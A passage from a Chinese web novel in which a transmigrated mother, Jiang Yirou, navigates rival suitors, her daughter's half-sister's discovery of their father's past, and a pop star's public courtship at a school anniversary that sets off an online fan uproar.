姜以柔说得轻松,却没有注意到三个男人在听到这话的时候,脸色有多难看。 是啊,林松齐是姜渔的爸爸,是曾经真真切切拥有过姜以柔,甚至让她生了一个孩子的男人。 一想到此,嫉妒便如虫蚁般啃噬着他们的心脏。 难言的沉默在他们中间蔓延,气氛越发凝滞。 这时,姜渔突然起身,闷不吭声地走进自己的房间。 过了一会儿,她又出现了,手上多了个东西。 姜渔将一个用红绳串起的玉坠递到乐柠面前,沉默不语。 乐柠愣愣地盯了许久,颤着手拿出来自己脖子上挂着的玉坠。 两块玉坠刚好能严丝合缝地拼在一起。 姜以柔凉凉地解释道:“这玉坠是林维刚的传家宝,他当时南下打工之前,给了我一半,另一半自己带走了。” “哦对,林维刚是他以前的名字。” 姜渔抿了抿唇,解释道:“我当初就是看见你戴的玉坠,才慢慢察觉到真相的。” 乐柠踉跄着后退一步,神情恍惚地喃喃道:“怪不得……怪不得那次你一看到我的玉坠就激动地想抢。” 至此,姜渔一开始对她那莫名其妙的敌意,乐柠全都懂了。 姜渔抿了抿唇,说道:“我不知道他跟你妈妈在一起的时候,有没有隐瞒自己的家庭情况。但总归他是个嫌贫爱富的人,你……小心点吧。” 姜渔曾经非常恨乐柠,恨她抢走了原本属于自己的父爱,恨为什么父母都抛弃她,恨整个世界。 直到姜以柔出现…… 不知不觉,她心里的戾气似乎都消失无踪了,每天吃饭、睡觉、上学,欣赏下亲妈的美颜盛世,日子越过越舒坦。 她现在甚至可以心平气和地叮嘱姜渔小心一点,看来的确是成长了。 乐柠脸色苍白,她张了张嘴,可嘴唇只是颤抖着,却一句话都说不出来。 这时,死寂的房间里突然响起一声突兀的嗤笑。 方镜麒翘着腿靠坐在沙发上,盯着乐柠的眼神里充满了怜悯,“喂,你就别抱有侥幸心理了,你那个后爹绝对不是什么好东西。” 乐柠眼睛一湿,下意识地反驳道:“可是……可是他很疼我!” 方镜麒挑了挑眉,一针见血道:“装的呗。” “不信你等着,等他把你家财产弄到手,看他还装不装了。”方镜麒懒洋洋地说着欠揍的话。 方隐年皱了皱眉头,隐晦地盯了他一眼,微眯的凤眸中满是威压,像是在警告她不要如此无礼。 毕竟……严格说起来,乐柠的长辈跟他们家的长辈有些交情,这也是他一开始让方镜麒照顾一下小姑娘的原因。 方镜麒看懂了他的警告,却不服气地说道:“我说的有错吗?” 他冷笑一声,道:“就凭这男的忍心抛弃姜以柔,这心狠程度就绝对不一般。” 此话一出,全场都沉默了。 他们默默地看向姜以柔,看着她世间难寻的绝美容貌,简直能打动任何人的心。 而林维刚居然忍心抛弃她,而且,还是她为他生了一个女儿的情况下! 实在是够冷血。 乐柠咬着唇,再也说不出一句话。 方镜麒原本靠在沙发上,此时忍不住挺直了身体,直勾勾地盯着姜以柔,问道:“喂,你那个死鬼老公明显是个人渣啊,你应该对他没感情了吧?” 闻言,方隐年和谢凛都眼神微动,不动声色地看向了姜以柔。 姜以柔下意识地想说当然没感情了,但下一秒,她又顿住了。 她眸光微闪,突然微微垂下头,露出一副伤感的神情,哀婉地说道:“毕竟是孩子他爸,怎么可能没感情呢?” 她话音刚落,屋子里陷入了诡异的安静。 三个男人一句话都没说,骤然沉下去的眸中却满是杀气。 姜以柔不动声色地翘了翘唇角。 没错,她是故意这么说的。 这样一来,谢凛、方隐年、方镜麒,他们三个人加起来,应该能把林松齐那个贱人整死吧? 她便宜闺女的黑化值不就清零在望了?! * 乐柠浑浑噩噩地离开了姜家。 等她回过神的时候,她已经回了自家别墅。 她的妈妈乐婉儿正焦急地等着她,一见到她就立刻迎上去,责怪道:“你这孩子,怎么突然就跑了?知道我多担心吗?” 乐柠没有回答她的问题,只紧张地四下扫视一圈,哑声问道:“爸……呢?” 这么多年来叫了无数次的“爸爸”,此时竟然叫不出口了。 乐婉儿皱了皱眉,抱怨道:“又去处理赵文泽留下的烂摊子了呗!真是的,你过生日都不消停……” 乐柠的脸色一阵变幻,像是终于下定了决心,她一把抓住妈妈的手臂,将她拉进了自己的卧室里。 “你这孩子,到底要做什么?”乐婉儿疑惑地问道。 乐柠深吸一口气,她的声音有些发抖,却格外坚定:“妈,我发现了爸的秘密——他在跟你结婚以前,有过妻子和孩子!” 乐柠说完,便紧紧盯着妈妈的脸庞,生怕素来娇弱的妈妈受不了打击而晕厥。 然而,乐婉儿只是愣了愣,便随口笑道:“你怎么知道的?” 乐柠不敢置信地盯着她,反问道:“妈妈,难道你知道这件事?” 乐婉儿很自然地点点头,说道:“知道啊,他早就跟我坦白过了。” 乐柠目瞪口呆,高声反问道:“妈妈,你……你就不介意吗?” 乐婉儿无所谓地说道:“他说那是老家的包办婚姻啊,两人没感情的。而且他都已经选择了我,我还介意什么?” 乐柠的神色一时间有些复杂,她紧紧盯着自己的妈妈,像是突然不认识她了一样。 良久,她突然说道:“你就不觉得他是为了钱才跟你在一起的吗?不然他为什么要抛弃自己原来的妻女?” 乐婉儿嗔怪地瞪了她一眼,笑着点了点她的额头,自信道:“傻孩子,你爸爸放弃了一个村姑,喜欢上我,这不是再正常不过的事情吗?我相信你爸爸是爱我的……” 乐柠有些僵硬地扯了扯唇角,那笑容有些苦涩。 她张了张嘴想要解释,却发现语言是如此的苍白无力。 良久,她深吸一口气,问道:“妈妈,过两天就是校庆了,你会去吧?” “对啊,不是早就定好的行程吗?” 姜渔苦笑一声,盯着她的眼神里满是无奈,说道:“妈妈,等你见到那个人……就懂了。” 说完,乐柠就径直上了楼,在回到自己的房间之前,她还特意把那张亲子鉴定报告放回了原处,仿佛从未有人打开过。 乐婉儿皱眉盯着女儿的背影,小声嘀咕道:“莫名其妙……” 时间转瞬而逝,很快就到了校庆当天。 这一天,圣维尔国际学校前所未有的热闹。 在五十周年这个极特殊也极有纪念意义的日子,圣维尔非常重视,以最高的规格举办了校庆活动。圣维尔作为国内最顶尖的私立中学,在网络上甚至有“贵族高中”的名头,所以这次校庆在全网都有极高的关注度。 当然,本次校庆之所以如此备受瞩目,还有另外一个重要原因—— 圣维尔校方邀请了他们的荣誉校友——天王巨星顾星延出席此次校庆。 据说,出场费高达八位数的顾大明星还会登台演唱,简直给足了母校面子。 这下,顾星延的无数粉丝都疯狂了,早在好几个月之前,隐隐约约有消息传出去的时候,就有很多粉丝在各种找门路,试图在校庆当天混进圣维尔。 不过,圣维尔学院的安保系统可以说是国内学校中的顶尖,再加上此次校庆邀请了众多“重量级”人物,甚至有能出现在新闻台的大佬,所以警备级别已经拉到了最高级。 校庆当天,一辆又一辆豪车驶入圣维尔,每一个人都来头大得吓人。 学校外围了许多人,他们大多数是顾星延的粉丝,不甘心地守在外面,试图找一个混进去的机会。 圣维尔学校内,所有受邀的师生和家长都聚集在大礼堂中。校庆活动还未正式开始,会场里稍显骚乱。 有家长在小声交流着:“这次校庆办得比以往都大,好像有不少大人物都会出席。” “是啊,身份都了不得。不知道有没有机会认识一下……” 这时,旁边偷听的学生忍不住插嘴道:“爸,这你就别想了,人家肯来是给学校面子,你就算凑上去,他们也不会看你一眼的。” 他爸爸的脸都气绿了,怒瞪着他喝道:“臭小子,有你这么说话的吗?” 这时,有人突然问道:“对了,这次的家长代表是谁啊?” “估计是方隐年吧,他侄子不正好是这一届的吗?” “唉,本来我还幻想着能作为家长代表发言,威风一把的,但方隐年啊……算了算了。” 话说到此,旁边的学生突然撇了撇嘴,有些不忿地说道:“爸,你是不是没认真听我说话?我早就跟你说了,这次的家长代表不是方隐年!而是那个特优生她妈……” 他还记得刚得知消息时的愤怒与不屑。 他们圣维尔的家长代表,不应该选最优秀最出众的那个人吗?凭什么一个穷鬼的妈妈能代表他们的家长做演讲啊? 这对他们来说,简直是天大的侮辱! 他当天就回家一通抱怨,发泄自己的不满,然而看样子他爸爸根本没把他的话听进心里去。 果然,他爸爸一脸惊讶的模样,问道:“特优生的妈妈?谁啊?” 旁边几个家长也窃窃私语地讨论起来:“特优生?家里条件应该不太好吧?” “圣维尔也太胡闹了,怎么能请这样的人发言?” “这么多人都关注着呢,圣维尔就不怕丢脸?” 有家长比较精明,立刻就猜到了,这个特优生的妈妈应该没有那么简单。 于是他们细细追问道:“这个特优生她妈……到底有什么来头?” 学生不屑地嗤笑道:“听说长得挺漂亮的,然后傍上了方隐年。” “原来是方隐年的女人……怪不得。”家长恍然大悟道,紧接着他又皱了皱眉头,“但即便这样……也还是太胡闹了。” 如果方隐年是家长代表,那他们自然没什么话说,但是方隐年的女人……还是一个普通出身的女人,就这么踩在他们头上,让他们很是不爽。 那名学生冷哼一声,说道:“呵呵,2班那群煞笔天天吹姜渔她妈有多么好看,我倒要看看那个女的到底长得什么样子。” 他的同学也应和道:“肯定是他们一个个的没见过世面,一个半老徐娘能好看到哪儿去?” “姜渔她妈什么时候能出现?” “她现在应该在后台做准备吧……” “后台?我们能混进去吗?” “别想了,后台严防死守的,混不进去,安心等她上台吧。” “呵呵,我倒是要看看这女人有什么本事……” 第93章 圣维尔学院, 礼堂后台处。 后台处一片拥挤,到处都是行色匆匆的工作人员,他们在对校庆的具体流程进行最后的确认, 也要跟每一位上台演讲或表演的人员进行对接。 一片混乱的后台,当顾星延现身时,仿佛给这暗沉忙碌的世界注入了一缕刺目耀眼的光芒。 顾星延穿了一身白色西装, 更显得他身高腿长, 他的步伐略快,却丝毫不显慌乱, 举手投足间都透着股矜贵的优雅。 他身旁跟着一个略胖的中年男人,见谁都笑眯眯的,似乎很和善, 但那双眼睛却很精明, 此人正是他的经纪人,算是圈内人脉最广、手段最硬的经纪人了,就连一些当红明星也得尊称他一声张哥。 在他们两人的旁边还围着一群保镖,足有近十个人, 个个人高马大, 警惕地将顾星延围在中央,一双双鹰隼般的眸子扫视着四周,预防着随时可能出现的危险。 顾星延漫不经心地迈步, 时不时拿出手机看一眼,神情怔怔, 似乎在等什么人的消息。 张哥只瞥一眼就察觉出了他的异样, 忍不住凑近他低语道:“星延,你真的恋爱了?” 自从前不久顾星延去参加了某个慈善晚宴后,多年来0绯闻的顾天王, 第一次传出了花边新闻。 有一张照片流传甚广——顾星延环抱着一个女人,扶着她的后脑将人按在怀中,把她的脸挡得严严实实,照片里的顾星延眸光凛冽地睨向偷拍者,气势凌厉,像是在守护宝藏的恶龙。 后来,更是陆陆续续传出一些小道消息,比如顾星延为那个神秘女人一掷千金,拍下了好多珠宝赠予她,又比如两人言笑晏晏,举止亲密…… 这些消息闹得沸沸扬扬,顾星延的那群粉丝都快发疯了,最近天天在网上闹,哭嚎着不想要偶像谈恋爱,更有甚者还辱骂那个没拍到正脸的女人。 张哥本来想澄清一下,结果顾星延居然阻止了他——一副默认自己真的谈恋爱了的模样。 顾星延甚至还直接告了好几个大放厥词辱骂姜以柔的粉丝,护短得明明白白,此举也确实让一些人收敛不少。 每当张哥问起这件事的时候,顾星延却总是闭口不言,一个字都不肯多说。搞得张哥茫然又焦虑,完全不清楚他目前的感情状况。 面对张哥的询问,顾星延单手插兜,淡淡地说道:“谈了又怎么样,没谈又怎么样?” 他面色平静,凉薄的语气里带着股什么都不在乎的睥睨。 张哥被他噎得一时间说不出话来,良久才重重地叹了口气,“唉,我知道你不在乎这些……” 顾星延虽然也还年轻,但跟那些吃青春饭的流量明星可不一样。他十七岁出道,就凭着一张专辑红透了半边天,那张专辑的销量之高,至今过去十年了还没人能打。 他一身才华,几乎年年都有爆曲,光靠版权费就能上福布斯。关键是他连转型做演员后,都能一举拿下国际影帝,年纪轻轻就成了娱乐圈的传说。 再加上他本身的家庭背景也不简单…… 所以,顾星延可以说是娱乐圈里最不受粉丝裹挟的人。 他没有绯闻,只是因为他洁身自好,因为他不想谈,可他一旦动心了……那谁都没资格管他。 张哥不由得叹了口气,语重心长地说道:“星延啊,我不是不让你谈恋爱,只是你多少跟我透个底儿,让我知道对方是什么人吧……” 一方面他要确认下对方的身份,另一方面他也要根据情况做好舆情监控啊! 听到张哥的询问,顾星延脑海中自然而然地浮现出了那个令他魂牵梦萦的女人。 他这么多年在娱乐圈里看了不知多少好看的面孔,可他永远忘不了第一次见她时那种近乎震撼的惊艳。 那种程度的美貌,真的可以让人头晕目眩,连心跳都几乎停滞。 想着想着,顾星延不由得有些出神,直到张哥喊了他好几声,他才淡笑着回应道:“她是一个很好的人,我还在努力追求她。” 张哥闻言脚步一顿,不敢置信地盯着他,磕绊道:“搞了半天,你还在追啊?不对,这世界上竟然有需要你费心思追的女人?” 顾星延可是从出道起人气就高居不下,那张俊美无匹的脸绝对能拿下任何女人,他居然还要追人?! 顾星延淡淡地瞥他一眼,懒得理他,更不再回应他的种种追问。 他们很快就来到后台最深处,隔着一堵墙面,前面就是万众瞩目的舞台。 顾星延这次特意多带了点儿保镖,就是怕有源源不断的粉丝扑上来,但亲临此处后,他们发现了一个很诡异的现象。 以往顾星延出现在任何地方,总是第一时间吸引所有人的视线,引动无数人的狂热追逐。但今天,他来到后台时,竟然没什么人凑上前来。 顾大明星还是第一次如此受冷落。 张哥有些疑惑地嘀咕道:“奇了怪了……” 他们定睛一看,发现很多人都围在另一处角落,几乎将那里围得水泄不通,比起顾星延粉丝的狂热程度也不逞多让了。 所有人似乎都在关注那边的什么人,自然而然就忽略了顾星延。 张哥踮起脚往那边打量了几眼,可惜人太多,什么都没看到,他蹙眉喃喃道:“他们围在那儿干嘛呢?这校庆还请别的明星了?不对啊,哪个明星也没有你红啊……” 就在这时,有一队训练有素的保镖强势分开人流,终于将那拥挤的地带清了出来。 顾星延漫不经心地抬眼望去,下一秒猛地顿住了视线。 前方那道熟悉的身影正是他日思夜想的佳人,她只是简单地站在那里,就夺去了天地间所有的艳色。 顾星延神情怔怔,胸腔里的心脏急速跳动起来。他的桃花眼骤然亮起,眼下的那颗泪痣漾起勾人的神采。 他毫不犹豫,快步走到那个人面前,哪怕他已经尽量克制,可微颤的嗓音还是泻出几分激动,“姜小姐,又见面了。” 姜以柔惊讶地投来视线,随即绽开一个温婉美丽的笑容,“顾先生,好巧。” 顾星延此刻满心满眼都是她,几乎忘了自己是谁。他紧紧盯着那张美丽的脸庞,张了张嘴,可一时间竟然什么都说不出口。 因为……今天的姜以柔实在太美了。 她难得盛装打扮,穿了一条黑色的礼服长裙,这条裙子大方得体,勾勒出她窈窕的好身材,更衬得她的皮肤如凝脂般白皙透亮。 那头海藻般的长发盘起,露出纤秀的脖颈,优雅得像一只白天鹅。 顾星延喉结微滚,良久才轻笑着道:“你今天……真美。” 姜以柔垂眸轻笑一声,那微微颤抖的睫毛仿佛直接撩在人心坎上,“谢谢。” 顾星延的目光随即落在她的颈间,桃花眼中瞬间闪过一丝惊喜,道:“你戴了我送你的首饰。” 姜以柔的脖颈上正戴着顾星延送的那条价值上亿的翡翠项链,这是她身上唯一的首饰,足够突出醒目,堪称她美貌的最好陪衬。 姜以柔抬手摸了摸这条项链,轻声笑道:“是啊,因为我很喜欢。” 姜以柔抬手摸着这条项链,表情有一瞬间的古怪。 当时这条项链被方隐年扔在地上了,幸好没摔坏……否则她可是会心痛的。 顾星延笑得眯起一双桃花眼,嗓音极致温柔,说道:“你喜欢就好。” “我就说珠宝配美人,它只有被你戴在身上,才不算被埋没。”顾星延温声笑道。 跟顾星延这样俊美又绅士的男人聊天,总是让人心情愉悦的,姜以柔抿唇一笑,正想继续说些什么,却被一个突然冲上前的人打断了。 “你……你……” 顾星延的经纪人张哥从刚才起就一脸震惊,下巴都合不上了,两眼直直地盯着姜以柔。 此刻,他满脸激动地凑到她面前,急得连话都说不清楚了。 顾星延瞬间皱起眉头,一把扯开经纪人,低声喝道:“你做什么?!” 经纪人张哥转而一把抓住他的手臂,剧烈地摇晃着,高声喊道:“星延,就是她!就是她!” 顾星延面色冷下来,“你在发什么疯?” “哎呀!”张哥急得跺了跺脚,好半天才捋直了舌头。他深吸一口气,激动地说道,“这位女士,就是我之前跟你提到的那位特别漂亮的小姐!当时我想签下她,可惜错过了……” 姜以柔闻言讶异地挑了挑眉梢,她上下打量着这个中年男人,终于有了一些印象。 她刚穿来这个世界不久的时候,有一次去逛街,路上被一个男人拦下了,非要捧她做明星。 她脱身不得,最后跟他说自己女儿都上高二了,这才把他惊住,她就趁机离开了。 原来是他啊。 不过,他竟然是顾星延的经纪人?还真是巧合。 姜以柔眨了眨眼睛,在一旁安静地笑着,什么都没说。 张哥颠三倒四地说完他跟姜以柔的初遇后,顾星延脑海里的记忆终于被唤醒了。 他确实记得,当初张哥激动又遗憾地说遇到了一个特别漂亮的女人,但很可惜没能把她签下来。 顾星延刚想笑着说一句“真巧”,下一秒又顿住了。 他的表情有一瞬间的空白,因为他突然想起——张哥当初是为什么没能签下她呢? 因为她说,她不但有孩子了,而且孩子都上高中了。 张哥一时间震惊得回不过神,就被她跑了。 恰在此时,张哥急切地开口道:“姜小姐,你当初肯定是骗我的吧?你怎么可能有孩子呢!说真的,请你务必考虑下出道的事情,内娱没有你是一大损失啊……” 姜以柔挥手笑了笑,随意道:“我真的有孩子了,我女儿都上高二了呢。我今天就是作为家长代表来这里的。” 闻言,顾星延只觉得宛如有惊雷劈过,劈散了他所有理智。 他浑身僵硬,不敢置信地瞪着姜以柔,颤声喃喃道:“你……你有孩子了?” 姜以柔笑着点了点头,毫不避讳地承认道:“对啊!” 顾星延人傻了。 第94章 看到顾星延那副天塌了般的表情, 姜以柔这才后知后觉地意识到—— 她好像一直没有告诉顾星延,她有个上高中的便宜女儿。 但她真不是故意隐瞒的。她只是不习惯自己妈妈的身份,所以时常忘记这茬。 顾星延没有问, 她也就没有特意提起过…… 此刻,顾星延只觉得浑身僵硬,一下都动弹不得, 他怔怔地看着距离她几步之遥的姜以柔—— 这样一个钟天地之毓秀的女子, 怎么……怎么能有孩子了呢? 顾星延胸膛剧烈起伏着,只觉得每一次呼吸都牵扯着心脏的疼痛, 逼得他眼眶泛红。 姜以柔好整以暇地打量着这位大明星罕见的失态,甚至有心情笑着问道:“顾先生,你很失望吗?要不……” “我把这项链还你?”姜以柔眉梢一挑, 竟真的作势要摘下项链。 这一举动终于唤回了顾星延的神智, 他脸上犹带着苦笑,却已经下意识地上前,一把攥住了姜以柔的腕子,阻止了她摘项链的动作。 顾星延深吸一口气, 认真地看着她, 说道:“送给你就是送给你了,还什么?” 感受着手腕上不容忽视的力道,姜以柔眸光微动, 随即半真半假地笑道:“我以为你嫌弃我有孩子了,会反悔呢。” 顾星延微微一怔, 遂苦笑着摇了摇头, “怎么会嫌弃……” “我只是……”顾星延有些失神地喃喃道,“觉得你不该受这样的苦楚。” 顾星延深深地望着她,桃花眼里闪过一丝心痛, 沉声道:“我记得你说过,你是单身……孩子的父亲对你不好吗?” 在顾星延的心里,像姜以柔这样美丽娇弱的人,合该被捧在手心宠一辈子,她怎么经历过怀孕生子的痛苦,甚至当单亲妈妈抚养孩子呢? 只要一想起来,顾星延就觉得心疼。 姜以柔有些诧异地挑了挑眉梢,她立刻从善如流地微微垂头,语带悲伤地说道:“孩子爸爸不要我们了。” 闻言,顾星延攥住她腕子的手微微发紧,那双总是带笑的桃花眼难得沉了下来。 他情不自禁地上前一步,紧紧盯着姜以柔,说道:“姜小姐,如果……如果你不介意的话,以后让我来照顾你吧。” 顾星延顿了顿,像是想起了什么,又补充道:“还有你的孩子,我也一定会照顾好她。” 姜以柔有些意外,显然没想到顾星延会对她有孩子的事情接受如此良好。 她还以为,这位大明星至少会挣扎片刻呢。 姜以柔笑得微微弯起眼睛,望向顾星延的眼神中带着几分满意之色。 很显然,顾星延的表现很合她心意。 所以,面对顾星延试探的靠近,姜以柔并未拒绝,她仰头仔细地打量眼前的男人,视线在他俊美至极的脸上不停地打转。 她任凭顾星延朝自己靠近,几乎能感觉到他灼热中透着急促的呼吸。 就在姜以柔想要说些什么的时候,突然有一条手臂插入了两人之间。 姜以柔和顾星延同时一怔,不由得往旁边看去。 只见刚才护着姜以柔的保镖之一站在他们旁边,他的面色有些不自然,但还是坚决地伸手阻止两人继续靠近。 这名保镖直接按住顾星延的胸口,用不容抗拒的力道把他往后一推,语气冷硬地说道:“这位先生,请你自重,自觉跟姜小姐保持距离。” 顾星延下意识地皱了皱眉,但也意识到刚才或许太过唐突,便坦然地后退两步,显得彬彬有礼。 倒是姜以柔意味深长地盯着这个保镖,突然挑眉嗤笑一声,道:“方隐年不是只让你保护我的安全吗?怎么连这种事也要管?” 保镖低着头不敢看她,沉默地站在她旁边,既不说话,也不离开。 只打定主意拦在顾星延面前,像是防贼一样警惕。 顾星延眉头微蹙,捕捉到了一个令他有点在意的名字,“方隐年?你认识他?” 他表面上还算平静,实则心里警铃大作。他紧紧盯着姜以柔,试图从她脸上发现端倪。 而对于她跟方隐年的关系,姜以柔只漫不经心地笑了笑,随口说了两个字,“不熟。” 顾星延眸光微动,紧绷的神情缓和了些许。 正当他想继续说些什么的时候,旁边石化许久的张哥终于回神,他不敢置信地喊道:“星延,你喜欢的人……就是她啊?!” 他万万没想到,顾星延藏着掖着不肯说的那位心上人,竟然是曾有过一面之缘的那位美人! 顾星延瞥了他一眼,那双温柔多情的桃花眼带着几分警告之意,很是不爽他总是打断两人的谈话。 张哥转了转眼珠子,满脸殷勤地笑道:“姜小姐,这可真是缘分啊!不过说真的,你考虑一下进娱乐圈的事吧?” “我手上有一个珠宝代言,实在太适合你了,你还可以跟星延一起合拍……” 姜以柔只微笑地看着他,显然不打算松口。 顾星延皱了皱眉头,沉声喝道:“别说了。” 张哥偷偷瞟他一眼,有些不甘心地闭了嘴。 恰在此时,有一个年轻姑娘小跑过来,期期艾艾地看向姜以柔,道:“姜小姐,我们该对流程了。” 姜以柔和善地冲她笑了笑,温声道:“稍等,我马上就来。” 随即她转头冲顾星延歉意地笑了笑,说道:“顾先生,我先去准备了,有空再聊。” 顾星延有些舍不得,但他自己也要配合着彩排,只能一步三回头地跟她道了别。 姜以柔跟着那名年轻小姑娘一起来到舞台侧边,静静地听她讲解一会儿的流程。 “等到主持人报完幕之后,您就可以准备上场了……”小姑娘一直红着脸偷瞟她,说话时不时磕绊一下。 姜以柔始终笑着凝视她,不见丝毫不耐,直把那名小姑娘迷得晕头转向。 就在姜以柔在心里复盘各种流程的时候,她的脑海里突然想起666的声音,“对了,说起校庆的主持人……其实原书里的主持人是女主乐柠和男二号赵承,方镜麒为此还吃醋了呢!” 闻言,姜以柔眉梢微动,笑着问那个小姑娘道:“请问,主持人是哪两位同学啊?” 小姑娘报了两个名字,其中的女主持并不是乐柠,而是另一个女生。 也难怪,乐柠自从知道了林松齐的真面目后,就一直很消沉,她果断拒绝了这份主持人的工作。 不过,令姜以柔意外的是,男主持竟然依旧是赵承。 姜以柔疑惑地蹙了蹙眉头——出了赵文泽的事情后,方隐年有意针对,导致赵家现在处处受限,赵承也因此而一直没能成功转学,现在他怎么悄无声息地就转过来了? 那名女生说着说着,突然眼睛一亮,冲不远处招了招手,呼唤道:“赵承同学,你来一下!” 姜以柔眸光微动,默默地顺着她的目光看去。 不远处走来一个俊秀挺拔的少年,他脸上带着礼貌的微笑,面容还带着几分稚嫩,但看起来十分稳重。 正是有过一面之缘的赵承——那个对她图谋不轨,最后被谢凛揍进重症监护室的赵文泽的儿子。 沉思间,赵承已经走到了近前。 小姑娘热情地为姜以柔介绍道:“这就是校庆的男主持人,你如果有问题的话,可以问他。” 姜以柔笑容微敛,沉默地盯着这个少年,一时间没有说话。 赵承温和又礼貌地对女生说了几句话,轻而易举地把对方哄走了,原地只留下他和姜以柔两个人。 赵承定定地凝视着姜以柔,面上温润的笑意逐渐褪去,涌上一股复杂之色。 姜以柔虽然很讨厌赵文泽那个人渣,但不至于恨屋及乌地讨厌赵承,毕竟她觉得,赵承大概率不知道自己父亲做的恶心事。 当然,她也很难对他和颜悦色就是了。 所以,姜以柔没打算跟他多说什么,转身便要离开。 赵承却突兀地开口道:“那天……你没事吧?” 姜以柔离开的脚步一顿,眯着眼睛望向赵承。 那天?什么意思? 赵承叹了口气,转眸移开视线,轻声道:“那条短信,是我发的。” 姜以柔怔愣一瞬,很是惊讶地打量他。 她当然还记得,那天晚上赵文泽意图不轨,她差点就开门引狼入室了,幸亏关键时刻收到一条通风报信的短信,她才有了防备,提前躲进卫生间,还用防狼喷雾争取到了时间。 那条短信的确帮了她大忙,她也好几次琢磨到底是谁给她发的消息,却怎么都没想到,竟然是赵文泽的儿子。 姜以柔探究地盯着他,忍不住问道:“你为什么帮我?” 赵承依旧躲避着她的目光,没有直视她,只沉声道:“你没事就好。” 他顿了顿,补充道:“放心吧,赵文泽短时间内连床都下不了,不会再对你产生威胁了。” 说完,赵承便匆匆转身离开了,像是无法面对姜以柔一般。 姜以柔皱眉盯着他的背影,眸中浮现出几分深思。 她总觉得赵文泽和赵承这对父子的关系有点奇怪,彼此疏离,甚至彼此防备。赵承这个儿子不但会背刺赵文泽,而且在赵文泽重伤住院的情况下,竟然不见丝毫伤心…… 姜以柔正沉思间,系统666惊奇的声音传来:“男二号居然成功转学过来了?之前他的转学手续一直被卡,我还以为原著里他的剧情要消失了呢……” “我看看……哦,原来是林松齐帮他走关系办的转学啊。”系统666轻声嘀咕道,“看来林松齐跟赵文泽真是铁哥们啊,赵文泽都不中用了,他还这么费心费力地托举兄弟的儿子……” 闻言,姜以柔眸光微闪,心头突然划过一丝异样的感觉。 不等她细想,666又絮絮叨叨地说道:“这下好了,男二号已经就位,他应该会像原著里一样开始追求女主乐柠吧?” “不过,现在男主方镜麒一头扎在你身上,肯定不会跟男二抢女主了,难道最后会是男二上位?……” 姜以柔随意地笑了笑,“谁知道呢。” * 观众席上分外热闹。 一群2班的学生围在姜渔的身边,七嘴八舌地问道: “姜渔,你妈妈什么时候出场啊?我可太期待了!” “哼,到时候肯定能亮瞎那群人的狗眼,让他们天天嘲讽我们……” 一个女生抓着姜渔的手,满脸幽怨地说道:“小渔,真的不能让姜阿姨穿我设计的衣服吗?我都做好了……” “小渔,一会儿能帮我跟阿姨要张合影吗?” 姜渔被一群人围得严严实实,简直烦不胜烦,她一边应付这些人,一边不动声色地往某个方向瞟去。 往常最爱粘在她身边的乐柠,此时却沉默地坐在远处。那双爱笑的杏眼有些黯淡,怔怔地看着舞台出神。 姜渔紧紧盯着她,有些不自在地抿了抿唇瓣。连她自己都没察觉到,她望向乐柠的眼神里满是担忧。 随即她的目光落到乐柠旁边的美丽女人身上,那个女人优雅成熟,极富魅力,大概就是乐柠的妈妈。 就在这时,那个女人突然转过头,直直地对上了姜渔的视线。 姜渔微微一怔,随即紧绷着脸移开了视线,不再去看她们。 乐婉儿静静地打量着姜渔,神情很是复杂,她轻声问道:“那个女孩就是……你爸爸和前妻生的孩子?” 乐柠面无表情地“嗯”了一声。 乐婉儿皱着眉头,有些不悦地说道:“松齐明明说过,他给那个女人寄了钱,让她把孩子打掉的,谁知道她心机这么重,竟然偷偷把孩子生下来了。” “都这么多年了,她们又突然出现,该不会是想缠着松齐吧……” 乐柠忍了又忍,终于忍不住沉声打断了妈妈越来越过分的话,“妈妈!” 乐柠转过头,一双黑黝黝的大眼睛直勾勾地盯着她的妈妈,一字一句地轻声道:“姜阿姨和小渔……是受害者。” 乐婉儿不以为意地撩了撩头发,“什么受害者不受害者的,当初又不是没给她们钱。” 乐柠深吸一口气,沉声道:“一会儿姜阿姨会作为家长代表上台演讲。” “等你看到她,你就懂了。”乐柠有些出神,喃喃地说道。 乐婉儿的表情有些不好看,忍不住抱怨道:“她凭什么当家长代表啊……” 丈夫的前妻突然出现,已经够让她膈应了,现在她还要被女儿硬拉着来看对方出风头,实在让乐婉儿很不爽。 就在这时,周围突然传出一阵喧哗。 “我靠,你们快看热搜!顾星延好像真谈恋爱了!” “我看到照片了!这背景好像是咱们学校的后台吧?等等,顾星延和他女朋友在后台?” “这照片也太糊了,但能看得出来确实是顾星延,但女方怎么只有一个侧面啊?还看不清脸,就没人能拍到她的正脸吗?” …… 关于顾星延的绯闻,终于在今天迎来了新的进展。 有人拍到了顾星延和“女友”在圣维尔校庆的后台说笑的场景。照片里的两人凑得很近,由于角度受限,只拍到了两人隐约的侧脸,而且非常模糊。 姜以柔又恰好侧了一下脸,所以没能拍到她的容貌。 但就是这样模糊不清的画质下,竟也能感受到顾星延那深情的眼神。 真正引爆网络的,是女人脖子上的那条项链。 顾星延的粉丝们全都认了出来,那条项链是顾星延曾在节目上开玩笑般提起过的“传家宝”,说是以后会送给他的妻子。 结果现在,那条价值连城的项链就被那个女人戴在脖子上。 顾星延的粉丝彻底炸了。 【谈恋爱我可以接受,但这个项链一出来我真的破防了啊啊啊!】 【就这么把传家宝送出去了?真的不再考虑一下吗?!】 【呜呜呜男神不要啊!】 【大家冷静一点吧,顾哥年纪也不小了,谈恋爱很正常的啊,如果他真的有了喜欢的人,我们该祝福啊!】 【顾星延一看就很爱她,连这么珍贵的项链都毫不犹豫地送了,尊重他的选择吧。】 【所以说这个女人到底是谁啊?有没有人扒一下啊?】 【这照片是在圣维尔学院拍的吧?顾星延今天去参加校庆了,看这女人穿的衣服也挺正式的,难道是学校里的人?】 在极高的关注度下,姜以柔的身份立刻被扒了出来—— 她是今天要在校庆上发言的……家、长、代、表。 家长代表这个身份,就意味着—— 她有一个上高中的孩子,就在圣维尔学院读书…… 顾星延的粉丝得知偶像谈恋爱,已经够崩溃了,现在又知道偶像谈的竟然是一个带娃的女人,而且那娃都上高中了!更觉晴天霹雳! 这下,连那些理智的粉丝都受不了了。 【顾哥,不是不让你谈恋爱,但你谈一个靠谱的行吗?!为什么是个娃妈啊啊啊啊!】 【孩子都上高中了,那女人得三四十了吧?顾星延你才27岁,你是天王巨星啊!你想要什么样的女人没有,你到底为什么这么想不开?!】 【我真不行了,顾星延你特么的不会有异食癖吧?!!!】 【话说消息靠谱吗?虽然照片糊得看不太清那个女人的脸,但她的皮肤、身材还有气质……感觉跟我认知的高中生妈妈不太一样唉。】 …… 